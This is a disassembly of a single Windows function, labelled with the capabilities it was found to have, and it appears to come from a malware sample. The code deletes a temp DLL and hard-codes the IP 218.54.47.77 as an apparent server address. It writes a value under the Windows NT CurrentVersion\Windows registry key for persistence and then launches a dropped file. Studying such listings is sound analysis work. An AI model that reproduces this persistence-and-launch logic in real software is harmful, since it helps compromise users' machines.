Function at 0x402af0
Capabilities:
Create process on windows
Delete file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6d4
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x640], 0
mov dword [ebp - 0x684], 0
mov dword [ebp - 0x690], 0
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.00409920
add esp, 0xc
xor edx, edx
mov word [ebp - 0x414], dx
push 0x206
push 0
lea eax, [ebp - 0x412]
push eax
call fcn.00409920
add esp, 0xc
push 0x200
push 0
lea ecx, [ebp - 0x614]
push ecx
call fcn.00409920
add esp, 0xc
lea edx, [ebp - 0x20c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.HGDraw.dll
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.00405ed5
add esp, 0xc
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.00403380
mov dword [ebp - 0x684], eax
cmp dword [0x41bfc8], 1
jne 0x402bd1
cmp dword [ebp - 0x684], 0
jne 0x402bd1
xor eax, eax
jmp 0x403372
call fcn.004039b0
mov dword [ebp - 0x690], eax
mov dword [ebp - 0x614], 0x504d534d
mov edx, 0x51
mov word [ebp - 0x590], dx
mov eax, 0x2b8e
mov word [ebp - 0x4ee], ax
mov dword [ebp - 0x664], 0x418b0c
lea ecx, [ebp - 0x56e]
mov dword [ebp - 0x650], ecx
mov edx, dword [ebp - 0x650]
mov dword [ebp - 0x6c4], edx
mov eax, dword [ebp - 0x664]
mov cx, word [eax]
mov word [ebp - 0x626], cx
mov edx, dword [ebp - 0x650]
mov ax, word [ebp - 0x626]
mov word [edx], ax
mov ecx, dword [ebp - 0x664]
add ecx, 2
mov dword [ebp - 0x664], ecx
mov edx, dword [ebp - 0x650]
add edx, 2
mov dword [ebp - 0x650], edx
cmp word [ebp - 0x626], 0
jne 0x402c20
mov dword [ebp - 0x674], 0x418b28
lea eax, [ebp - 0x610]
mov dword [ebp - 0x648], eax
mov ecx, dword [ebp - 0x648]
mov dword [ebp - 0x6c0], ecx
mov edx, dword [ebp - 0x674]
mov ax, word [edx]
mov word [ebp - 0x624], ax
mov ecx, dword [ebp - 0x648]
mov dx, word [ebp - 0x624]
mov word [ecx], dx
mov eax, dword [ebp - 0x674]
add eax, 2
mov dword [ebp - 0x674], eax
mov ecx, dword [ebp - 0x648]
add ecx, 2
mov dword [ebp - 0x648], ecx
cmp word [ebp - 0x624], 0
jne 0x402c8a
mov dword [ebp - 0x67c], 0x418b44
lea edx, [ebp - 0x58e]
mov dword [ebp - 0x638], edx
mov eax, dword [ebp - 0x638]
mov dword [ebp - 0x6cc], eax
mov ecx, dword [ebp - 0x67c]
mov dx, word [ecx]
mov word [ebp - 0x622], dx
mov eax, dword [ebp - 0x638]
mov cx, word [ebp - 0x622]
mov word [eax], cx
mov edx, dword [ebp - 0x67c]
add edx, 2
mov dword [ebp - 0x67c], edx
mov eax, dword [ebp - 0x638]
add eax, 2
mov dword [ebp - 0x638], eax
cmp word [ebp - 0x622], 0
jne 0x402cf4
mov dword [ebp - 0x44c], 5
push 0x41bfec
push 0x10
lea ecx, [ebp - 0x48c]
push ecx
call fcn.00405e79
add esp, 0xc
cmp dword [ebp - 0x684], 0
jne 0x402d6e
cmp dword [ebp - 0x690], 0
je 0x402de4
push 0x41c120
lea edx, [ebp - 0x58e]
push edx
call fcn.004024e0
add esp, 8
push 0x41c0a0
lea eax, [ebp - 0x610]
push eax
call fcn.004024c0
add esp, 8
push 0x41c018
lea ecx, [ebp - 0x56e]
push ecx
call fcn.004024c0
add esp, 8
mov dx, word [0x41c098]
mov word [ebp - 0x590], dx
mov ax, word [0x41c010]
mov word [ebp - 0x4ee], ax
mov ecx, dword [0x41c00c]
mov dword [ebp - 0x44c], ecx
cmp dword [0x41c00c], 0
jne 0x402de4
mov dword [ebp - 0x44c], 5
mov dword [ebp - 0x660], 0x418b50
lea edx, [ebp - 0x610]
mov dword [ebp - 0x658], edx
mov eax, dword [ebp - 0x658]
mov cx, word [eax]
mov word [ebp - 0x676], cx
mov edx, dword [ebp - 0x660]
cmp cx, word [edx]
jne 0x402e60
cmp word [ebp - 0x676], 0
je 0x402e54
mov eax, dword [ebp - 0x658]
mov cx, word [eax + 2]
mov word [ebp - 0x670], cx
mov edx, dword [ebp - 0x660]
cmp cx, word [edx + 2]
jne 0x402e60
add dword [ebp - 0x658], 4
add dword [ebp - 0x660], 4
cmp word [ebp - 0x670], 0
jne 0x402dfa
mov dword [ebp - 0x698], 0
jmp 0x402e6b
sbb eax, eax
or eax, 1
mov dword [ebp - 0x698], eax
mov ecx, dword [ebp - 0x698]
mov dword [ebp - 0x6bc], ecx
cmp dword [ebp - 0x6bc], 0
jne 0x402e90
movzx edx, word [ebp - 0x590]
cmp edx, 0x51
je 0x402f7a
mov dword [ebp - 0x680], str.AAAA
lea eax, [ebp - 0x58e]
mov dword [ebp - 0x65c], eax
mov ecx, dword [ebp - 0x65c]
mov dword [ebp - 0x6d4], ecx
mov edx, dword [ebp - 0x680]
mov ax, word [edx]
mov word [ebp - 0x62a], ax
mov ecx, dword [ebp - 0x65c]
mov dx, word [ebp - 0x62a]
mov word [ecx], dx
mov eax, dword [ebp - 0x680]
add eax, 2
mov dword [ebp - 0x680], eax
mov ecx, dword [ebp - 0x65c]
add ecx, 2
mov dword [ebp - 0x65c], ecx
cmp word [ebp - 0x62a], 0
jne 0x402eb2
mov edx, 0x51
mov word [ebp - 0x590], dx
mov dword [ebp - 0x44c], 5
mov dword [ebp - 0x668], str.218.54.47.77
lea eax, [ebp - 0x610]
mov dword [ebp - 0x644], eax
mov ecx, dword [ebp - 0x644]
mov dword [ebp - 0x6c8], ecx
mov edx, dword [ebp - 0x668]
mov ax, word [edx]
mov word [ebp - 0x632], ax
mov ecx, dword [ebp - 0x644]
mov dx, word [ebp - 0x632]
mov word [ecx], dx
mov eax, dword [ebp - 0x668]
add eax, 2
mov dword [ebp - 0x668], eax
mov ecx, dword [ebp - 0x644]
add ecx, 2
mov dword [ebp - 0x644], ecx
cmp word [ebp - 0x632], 0
jne 0x402f32
mov dword [ebp - 0x64c], 0x418b94
lea edx, [ebp - 0x56e]
mov dword [ebp - 0x654], edx
mov eax, dword [ebp - 0x654]
mov cx, word [eax]
mov word [ebp - 0x68c], cx
mov edx, dword [ebp - 0x64c]
cmp cx, word [edx]
jne 0x402ff6
cmp word [ebp - 0x68c], 0
je 0x402fea
mov eax, dword [ebp - 0x654]
mov cx, word [eax + 2]
mov word [ebp - 0x686], cx
mov edx, dword [ebp - 0x64c]
cmp cx, word [edx + 2]
jne 0x402ff6
add dword [ebp - 0x654], 4
add dword [ebp - 0x64c], 4
cmp word [ebp - 0x686], 0
jne 0x402f90
mov dword [ebp - 0x694], 0
jmp 0x403001
sbb eax, eax
or eax, 1
mov dword [ebp - 0x694], eax
mov ecx, dword [ebp - 0x694]
mov dword [ebp - 0x6b4], ecx
cmp dword [ebp - 0x6b4], 0
je 0x40308a
mov dword [ebp - 0x44c], 5
mov dword [ebp - 0x66c], 0x418bb0
lea edx, [ebp - 0x56e]
mov dword [ebp - 0x63c], edx
mov eax, dword [ebp - 0x63c]
mov dword [ebp - 0x6d0], eax
mov ecx, dword [ebp - 0x66c]
mov dx, word [ecx]
mov word [ebp - 0x628], dx
mov eax, dword [ebp - 0x63c]
mov cx, word [ebp - 0x628]
mov word [eax], cx
mov edx, dword [ebp - 0x66c]
add edx, 2
mov dword [ebp - 0x66c], edx
mov eax, dword [ebp - 0x63c]
add eax, 2
mov dword [ebp - 0x63c], eax
cmp word [ebp - 0x628], 0
jne 0x403042
mov ecx, 2
imul ecx, ecx, 0
movzx edx, word [ebp + ecx - 0x610]
test edx, edx
je 0x4030a9
movzx eax, word [ebp - 0x590]
test eax, eax
jg 0x4030b3
jmp 0x403362
mov dword [ebp - 0x614], 0x504d534d
mov dword [ebp - 0x61c], 0x41bfec
mov ecx, dword [ebp - 0x61c]
add ecx, 2
mov dword [ebp - 0x69c], ecx
mov edx, dword [ebp - 0x61c]
mov ax, word [edx]
mov word [ebp - 0x68a], ax
add dword [ebp - 0x61c], 2
cmp word [ebp - 0x68a], 0
jne 0x4030d6
mov ecx, dword [ebp - 0x61c]
sub ecx, dword [ebp - 0x69c]
sar ecx, 1
mov dword [ebp - 0x6b0], ecx
je 0x403139
push 0x41bfec
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x403139
push 0x41bfec
push 0x10
lea edx, [ebp - 0x48c]
push edx
call fcn.00405e79
add esp, 0xc
mov eax, 2
imul eax, eax, 0
movzx ecx, word [ebp + eax - 0x48c]
test ecx, ecx
jne 0x403161
push str.houtue
lea edx, [ebp - 0x48c]
push edx
call fcn.004024e0
add esp, 8
mov eax, 2
imul eax, eax, 0
movzx ecx, word [ebp + eax - 0x46c]
test ecx, ecx
jne 0x4031ed
push str.biudfw
lea edx, [ebp - 0x46c]
push edx
call fcn.004024e0
add esp, 8
mov dword [ebp - 0x630], 0x41bfcc
mov eax, dword [ebp - 0x630]
add eax, 2
mov dword [ebp - 0x6ac], eax
mov ecx, dword [ebp - 0x630]
mov dx, word [ecx]
mov word [ebp - 0x688], dx
add dword [ebp - 0x630], 2
cmp word [ebp - 0x688], 0
jne 0x4031a2
mov eax, dword [ebp - 0x630]
sub eax, dword [ebp - 0x6ac]
sar eax, 1
mov dword [ebp - 0x6a8], eax
je 0x4031ed
push 0x41bfcc
lea ecx, [ebp - 0x46c]
push ecx
call fcn.004024e0
add esp, 8
mov edx, dword [0x41aef0]
mov dword [ebp - 0x448], edx
cmp dword [ebp - 0x44c], 0
jne 0x40320c
mov dword [ebp - 0x44c], 5
lea eax, [ebp - 0x614]
push eax
call fcn.00402910
add esp, 4
mov dword [ebp - 0x640], eax
cmp dword [ebp - 0x640], 0
jne 0x403234
jmp 0x403362
lea edx, [ebp - 0x20c]
lea ecx, [ebp - 0x46c]
call fcn.00403cb0
push 0x104
lea ecx, [ebp - 0x414]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor edx, edx
mov ecx, 0x64
div ecx
mov dword [ebp - 0x6b8], edx
mov edx, dword [ebp - 0x6b8]
push edx
lea edx, [ebp - 0x20c]
lea ecx, [ebp - 0x414]
call fcn.004043f0
add esp, 4
mov dword [ebp - 0x618], 0
lea eax, [ebp - 0x618]
push eax
push 3
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403348
lea ecx, [ebp - 0x20c]
mov dword [ebp - 0x620], ecx
mov edx, dword [ebp - 0x620]
add edx, 2
mov dword [ebp - 0x6a0], edx
mov eax, dword [ebp - 0x620]
mov cx, word [eax]
mov word [ebp - 0x66e], cx
add dword [ebp - 0x620], 2
cmp word [ebp - 0x66e], 0
jne 0x4032da
mov edx, dword [ebp - 0x620]
sub edx, dword [ebp - 0x6a0]
sar edx, 1
mov dword [ebp - 0x6a4], edx
mov eax, dword [ebp - 0x6a4]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x20c]
push edx
push 1
push 0
push 0x418bec
mov eax, dword [ebp - 0x618]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x403348
mov ecx, dword [ebp - 0x618]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0
push 0x418bf4
lea edx, [ebp - 0x20c]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x640], 1
mov eax, dword [ebp - 0x640]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405c5a
mov esp, ebp
pop ebp
ret